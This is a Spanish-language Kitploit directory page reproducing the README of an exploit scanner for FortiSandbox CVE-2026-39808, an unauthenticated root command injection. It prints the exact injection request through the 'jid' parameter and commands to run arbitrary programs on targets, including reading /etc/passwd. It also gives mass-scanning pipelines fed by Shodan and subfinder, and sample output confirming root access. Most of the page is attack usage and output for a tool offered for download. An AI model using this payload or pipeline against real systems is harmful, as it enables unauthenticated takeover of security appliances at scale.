Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
FortiSandbox-RCE-Exploit-CVE-2026-39808 — Escáner de RCE no autenticado para FortiSandbox CVE-2026-39808 con verificación basada en canarios, ejecución de comandos e integración en pipelines para escaneo masivo. | Kitploit
Herramientas/GitHubGitHub/ynsmroztas/fortisandbox-rce-exploit-cve-2026-39808
ReconocimientoEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y Control
GitHubynsmroztas/fortisandbox-rce-exploit-cve-2026-39808

FortiSandbox-RCE-Exploit-CVE-2026-39808

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Escáner de RCE no autenticado para FortiSandbox CVE-2026-39808 con verificación basada en canarios, ejecución de comandos e integración en pipelines para escaneo masivo.

Ver Repositorio
26915hace 5 mesesRevisado por Kitploit
Compartir

Escáner RCE FortiSandbox — CVE-2026-39808

CVE-2026-39808 FortiSandbox RCE

CVE-2026-39808 CVSS 9.8 Python 3.7+ No dependencies MIT License

Inyección de comandos del sistema operativo sin autenticación como root en Fortinet FortiSandbox

Vulnerabilidad • Instalación • Uso • Cómo funciona • Pipeline • Dorks de Shodan • Aviso legal


Vulnerabilidad

CVE-2026-39808 es una vulnerabilidad crítica de inyección de comandos del sistema operativo sin autenticación en Fortinet FortiSandbox. El endpoint de API /fortisandbox/job-detail/tracer-behavior no sanea el parámetro jid, lo que permite a un atacante inyectar comandos arbitrarios del sistema operativo que se ejecutan como root — sin necesidad de autenticación.

DetalleValor
ID CVECVE-2026-39808
Puntuación CVSS9.8 (Crítica)
Vector de ataqueRed
AutenticaciónNinguna
PrivilegiosRoot
Versiones afectadasFortiSandbox < 4.4.9
Corregido en4.4.9 y superiores
AvisoFG-IR-25-325

Causa raíz

El parámetro jid en el endpoint tracer-behavior se pasa directamente a un comando del sistema sin saneamiento. Usando caracteres de tubería (|), un atacante puede salir del contexto de comando previsto y ejecutar comandos arbitrarios:

GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

La salida se escribe en /web/ng/out.txt, que es accesible en /ng/out.txt en el servidor web — proporcionando un mecanismo conveniente de lectura para la inyección de comandos a ciegas.


Instalación

Cero dependencias. Solo biblioteca estándar de Python 3.7+.

git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

Uso

Escaneo básico

# Verificar si un objetivo es vulnerable (usa detección basada en canarios)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

Ejecutar comando

# Ejecutar un comando específico en el objetivo
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

Solo verificar (sin ejecución de comandos)

# Solo comprobar si es vulnerable, no ejecutar --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only

Con proxy Burp

python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

Informe JSON

python3 fortisandbox_rce.py -u https://target.com -o report.json

Modo pipeline (escaneo masivo)

# Desde una lista de URLs
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → escáner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → escáner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

Todas las opciones

usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           URL del objetivo
  --stdin                 Leer URLs desde stdin (modo pipeline)
  --cmd CMD               Comando del sistema operativo a ejecutar (por defecto: id)
  --verify-only           Solo verificar la vulnerabilidad, no ejecutar --cmd
  --proxy PROXY           Proxy HTTP (p. ej., http://127.0.0.1:8080)
  --timeout TIMEOUT       Tiempo de espera HTTP en segundos (por defecto: 15)
  --rate-limit RATE_LIMIT Retraso entre objetivos en ms (por defecto: 0)
  -o, --output FILE       Archivo de informe JSON de salida
  --no-banner             Suprimir el banner

Cómo funciona

El escáner utiliza un proceso de verificación de 5 pasos con prevención estricta de falsos positivos:

Paso 1  →  Detectar FortiSandbox (huella de título/cabecera)
Paso 2  →  Comprobar si el endpoint vulnerable existe
Paso 3  →  Inyectar cadena canario única mediante inyección de comandos
Paso 4  →  Leer /ng/out.txt y verificar el canario (validación estricta de texto plano)
Paso 5  →  Ejecutar el comando del usuario + limpieza

Prevención de falsos positivos

El escáner implementa múltiples capas de validación para eliminar falsos positivos:

  • Detección de HTML — Si la URL de salida devuelve una página HTML (catch-all de Angular SPA), se marca como falso positivo
  • Validación de Content-Type — La salida del comando no debe ser text/html
  • Aislamiento del canario — El canario debe aparecer en texto plano limpio, no incrustado en etiquetas HTML
  • Regex de salida de id — Coincidencia estricta de patrón uid=\d+(\w+) con comprobación de tamaño (<1000 bytes)
  • Normalización de URL base — Elimina automáticamente el sufijo /ng para evitar problemas de doble ruta

Ejemplo de salida

Objetivo vulnerable

  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Inyección de comandos sin autenticación (root)         ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Objetivo: https://fortisandbox.example.com               │
  └──────────────────────────────────────────────────────────┘
  ✓ ¡FortiSandbox detectado!
  ▸ Comprobando endpoint: /fortisandbox/job-detail/tracer-behavior
  ▸ Estado del endpoint: 200 | Content-Type: text/html
  ▸ Inyectando canario: mitsec_a8k3m2x1
  ▸ Leyendo salida: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 ¡VULNERABLE — CVE-2026-39808 CONFIRMADO!
   CRITICAL  Objetivo: https://fortisandbox.example.com
  ✓ Canario 'mitsec_a8k3m2x1' verificado en la salida (texto plano limpio)

  ──────────────────────────────────────────────────────────
    Salida del comando: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ Archivo de salida limpiado

No vulnerable

  ┌──────────────────────────────────────────────────────────┐
  │ Objetivo: https://patched.example.com                    │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detectado!
  ▸ Comprobando endpoint: /fortisandbox/job-detail/tracer-behavior
  ✗ El endpoint devolvió 404 — no vulnerable o parcheado
Descargar herramienta